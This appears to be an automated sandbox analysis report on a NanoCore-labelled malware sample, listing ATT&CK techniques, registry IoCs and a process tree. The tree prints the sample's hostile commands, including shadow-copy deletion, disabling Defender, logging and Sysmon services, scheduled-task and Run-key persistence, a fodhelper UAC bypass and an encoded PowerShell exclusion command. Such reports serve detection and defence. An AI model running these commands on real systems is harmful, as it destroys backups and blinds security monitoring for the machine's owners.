nanocore | 38e462f506545e2730a3218112e4a794407a23cbd7cc991cf6896871b3f3ae5b

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	cakhiatv.watch_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2192	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	cakhiatv.watch_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cakhiatv.watch_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_nano.exe"	cakhiatv.watch_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_nano.exe"	cakhiatv.watch_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_nano.exe"	cakhiatv.watch_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2892	netsh.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	cakhiatv.watch_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	cakhiatv.watch_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_nano.exe"	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_nano.exe"	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_nano.exe"	cakhiatv.watch_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1432	net.exe
3936	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5336	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	cakhiatv.watch_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	cakhiatv.watch_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	cakhiatv.watch_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	cakhiatv.watch_nano.exe
File created	C:\Windows\system32\svchost.exe	cakhiatv.watch_nano.exe
File created	C:\Windows\system32\sysupdate.exe	cakhiatv.watch_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4528	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	cakhiatv.watch_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1652	cakhiatv.watch_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4460	sc.exe
5016	sc.exe
4772	sc.exe
760	sc.exe
3148	sc.exe
4052	sc.exe
5348	sc.exe
4732	sc.exe
4284	sc.exe
52	sc.exe
788	sc.exe
4120	sc.exe
4452	sc.exe
5792	sc.exe
2608	sc.exe
5244	sc.exe
3892	sc.exe
6112	sc.exe
2696	sc.exe
5144	sc.exe
2520	sc.exe
2728	sc.exe
2936	sc.exe
3232	sc.exe
4048	sc.exe
5740	sc.exe
1100	sc.exe
1820	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3396	cmd.exe
1412	cmd.exe
3708	cmd.exe
4508	cmd.exe
3068	cmd.exe
3568	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4488	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5588	NETSTAT.EXE
688	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
756	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5124	vssadmin.exe
2520	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	cakhiatv.watch_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	cakhiatv.watch_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	cakhiatv.watch_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	cakhiatv.watch_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	cakhiatv.watch_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	cakhiatv.watch_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	cakhiatv.watch_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	cakhiatv.watch_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	cakhiatv.watch_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	cakhiatv.watch_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_nano.exe\" \"%1\""	cakhiatv.watch_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	cakhiatv.watch_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatv.watch_nano.exe"	cakhiatv.watch_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	cakhiatv.watch_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2940	schtasks.exe
3904	schtasks.exe
4124	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2372	WMIC.exe
2372	WMIC.exe
2372	WMIC.exe
2372	WMIC.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1444	WMIC.exe
1444	WMIC.exe
1652	cakhiatv.watch_nano.exe
1444	WMIC.exe
1444	WMIC.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe
1652	cakhiatv.watch_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1652	cakhiatv.watch_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeIncreaseQuotaPrivilege	2372	WMIC.exe
Token: SeSecurityPrivilege	2372	WMIC.exe
Token: SeTakeOwnershipPrivilege	2372	WMIC.exe
Token: SeLoadDriverPrivilege	2372	WMIC.exe
Token: SeSystemProfilePrivilege	2372	WMIC.exe
Token: SeSystemtimePrivilege	2372	WMIC.exe
Token: SeProfSingleProcessPrivilege	2372	WMIC.exe
Token: SeIncBasePriorityPrivilege	2372	WMIC.exe
Token: SeCreatePagefilePrivilege	2372	WMIC.exe
Token: SeBackupPrivilege	2372	WMIC.exe
Token: SeRestorePrivilege	2372	WMIC.exe
Token: SeShutdownPrivilege	2372	WMIC.exe
Token: SeDebugPrivilege	2372	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2372	WMIC.exe
Token: SeRemoteShutdownPrivilege	2372	WMIC.exe
Token: SeUndockPrivilege	2372	WMIC.exe
Token: SeManageVolumePrivilege	2372	WMIC.exe
Token: 33	2372	WMIC.exe
Token: 34	2372	WMIC.exe
Token: 35	2372	WMIC.exe
Token: 36	2372	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2372	WMIC.exe
Token: SeSecurityPrivilege	2372	WMIC.exe
Token: SeTakeOwnershipPrivilege	2372	WMIC.exe
Token: SeLoadDriverPrivilege	2372	WMIC.exe
Token: SeSystemProfilePrivilege	2372	WMIC.exe
Token: SeSystemtimePrivilege	2372	WMIC.exe
Token: SeProfSingleProcessPrivilege	2372	WMIC.exe
Token: SeIncBasePriorityPrivilege	2372	WMIC.exe
Token: SeCreatePagefilePrivilege	2372	WMIC.exe
Token: SeBackupPrivilege	2372	WMIC.exe
Token: SeRestorePrivilege	2372	WMIC.exe
Token: SeShutdownPrivilege	2372	WMIC.exe
Token: SeDebugPrivilege	2372	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2372	WMIC.exe
Token: SeRemoteShutdownPrivilege	2372	WMIC.exe
Token: SeUndockPrivilege	2372	WMIC.exe
Token: SeManageVolumePrivilege	2372	WMIC.exe
Token: 33	2372	WMIC.exe
Token: 34	2372	WMIC.exe
Token: 35	2372	WMIC.exe
Token: 36	2372	WMIC.exe
Token: SeDebugPrivilege	1652	cakhiatv.watch_nano.exe
Token: SeIncreaseQuotaPrivilege	2192	powershell.exe
Token: SeSecurityPrivilege	2192	powershell.exe
Token: SeTakeOwnershipPrivilege	2192	powershell.exe
Token: SeLoadDriverPrivilege	2192	powershell.exe
Token: SeSystemProfilePrivilege	2192	powershell.exe
Token: SeSystemtimePrivilege	2192	powershell.exe
Token: SeProfSingleProcessPrivilege	2192	powershell.exe
Token: SeIncBasePriorityPrivilege	2192	powershell.exe
Token: SeCreatePagefilePrivilege	2192	powershell.exe
Token: SeBackupPrivilege	2192	powershell.exe
Token: SeRestorePrivilege	2192	powershell.exe
Token: SeShutdownPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeSystemEnvironmentPrivilege	2192	powershell.exe
Token: SeRemoteShutdownPrivilege	2192	powershell.exe
Token: SeUndockPrivilege	2192	powershell.exe
Token: SeManageVolumePrivilege	2192	powershell.exe
Token: 33	2192	powershell.exe
Token: 34	2192	powershell.exe
Token: 35	2192	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1652	cakhiatv.watch_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 2192	1652	cakhiatv.watch_nano.exe	88
PID 1652 wrote to memory of 2608	1652	cakhiatv.watch_nano.exe	90
PID 1652 wrote to memory of 4284	1652	cakhiatv.watch_nano.exe	92
PID 1652 wrote to memory of 4772	1652	cakhiatv.watch_nano.exe	94
PID 1652 wrote to memory of 2728	1652	cakhiatv.watch_nano.exe	96
PID 1652 wrote to memory of 760	1652	cakhiatv.watch_nano.exe	98
PID 1652 wrote to memory of 52	1652	cakhiatv.watch_nano.exe	100
PID 1652 wrote to memory of 5244	1652	cakhiatv.watch_nano.exe	102
PID 1652 wrote to memory of 3892	1652	cakhiatv.watch_nano.exe	104
PID 1652 wrote to memory of 3148	1652	cakhiatv.watch_nano.exe	106
PID 1652 wrote to memory of 2696	1652	cakhiatv.watch_nano.exe	109
PID 1652 wrote to memory of 6112	1652	cakhiatv.watch_nano.exe	111
PID 1652 wrote to memory of 4460	1652	cakhiatv.watch_nano.exe	113
PID 1652 wrote to memory of 5016	1652	cakhiatv.watch_nano.exe	115
PID 1652 wrote to memory of 2936	1652	cakhiatv.watch_nano.exe	117
PID 1652 wrote to memory of 4052	1652	cakhiatv.watch_nano.exe	119
PID 1652 wrote to memory of 5144	1652	cakhiatv.watch_nano.exe	121
PID 1652 wrote to memory of 788	1652	cakhiatv.watch_nano.exe	123
PID 1652 wrote to memory of 3232	1652	cakhiatv.watch_nano.exe	125
PID 1652 wrote to memory of 4048	1652	cakhiatv.watch_nano.exe	127
PID 1652 wrote to memory of 4120	1652	cakhiatv.watch_nano.exe	129
PID 1652 wrote to memory of 2520	1652	cakhiatv.watch_nano.exe	180
PID 1652 wrote to memory of 5740	1652	cakhiatv.watch_nano.exe	133
PID 1652 wrote to memory of 5348	1652	cakhiatv.watch_nano.exe	135
PID 1652 wrote to memory of 1100	1652	cakhiatv.watch_nano.exe	137
PID 1652 wrote to memory of 5728	1652	cakhiatv.watch_nano.exe	139
PID 1652 wrote to memory of 4732	1652	cakhiatv.watch_nano.exe	140
PID 1652 wrote to memory of 1820	1652	cakhiatv.watch_nano.exe	142
PID 5728 wrote to memory of 5336	5728	fodhelper.exe	177
PID 1652 wrote to memory of 5124	1652	cakhiatv.watch_nano.exe	145
PID 1652 wrote to memory of 2372	1652	cakhiatv.watch_nano.exe	147
PID 1652 wrote to memory of 2940	1652	cakhiatv.watch_nano.exe	150
PID 1652 wrote to memory of 3904	1652	cakhiatv.watch_nano.exe	152
PID 1652 wrote to memory of 3396	1652	cakhiatv.watch_nano.exe	159
PID 1652 wrote to memory of 3568	1652	cakhiatv.watch_nano.exe	161
PID 1652 wrote to memory of 3068	1652	cakhiatv.watch_nano.exe	162
PID 1652 wrote to memory of 4508	1652	cakhiatv.watch_nano.exe	163
PID 1652 wrote to memory of 3708	1652	cakhiatv.watch_nano.exe	164
PID 1652 wrote to memory of 1412	1652	cakhiatv.watch_nano.exe	165
PID 1652 wrote to memory of 4124	1652	cakhiatv.watch_nano.exe	166
PID 1652 wrote to memory of 4528	1652	cakhiatv.watch_nano.exe	173
PID 1652 wrote to memory of 3644	1652	cakhiatv.watch_nano.exe	174
PID 1412 wrote to memory of 5588	1412	cmd.exe	175
PID 3568 wrote to memory of 756	3568	cmd.exe	176
PID 3068 wrote to memory of 5336	3068	cmd.exe	177
PID 4508 wrote to memory of 3284	4508	cmd.exe	178
PID 3708 wrote to memory of 688	3708	cmd.exe	179
PID 3396 wrote to memory of 2520	3396	cmd.exe	180
PID 1652 wrote to memory of 2220	1652	cakhiatv.watch_nano.exe	181
PID 1652 wrote to memory of 2892	1652	cakhiatv.watch_nano.exe	182
PID 1652 wrote to memory of 5792	1652	cakhiatv.watch_nano.exe	183
PID 1652 wrote to memory of 4452	1652	cakhiatv.watch_nano.exe	184
PID 1652 wrote to memory of 4872	1652	cakhiatv.watch_nano.exe	185
PID 1652 wrote to memory of 4488	1652	cakhiatv.watch_nano.exe	186
PID 2220 wrote to memory of 3008	2220	net.exe	192
PID 1652 wrote to memory of 1432	1652	cakhiatv.watch_nano.exe	193
PID 1652 wrote to memory of 1724	1652	cakhiatv.watch_nano.exe	194
PID 3396 wrote to memory of 1444	3396	cmd.exe	197
PID 1432 wrote to memory of 3936	1432	net.exe	198
PID 1724 wrote to memory of 4600	1724	net.exe	199

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe
"C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2192
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2608
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4284
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2728
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:52
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5244
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3892
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3148
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:2696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:6112
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4460
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:5016
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:2936
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:4052
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:5144
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:3232
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:4048
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:4120
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:2520
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:5740
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:5348
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:1100
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5728
- - C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe"
    3⤵
    PID:5336
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4732
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1820
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5124
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2940
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2520
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1444
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\system32\systeminfo.exe
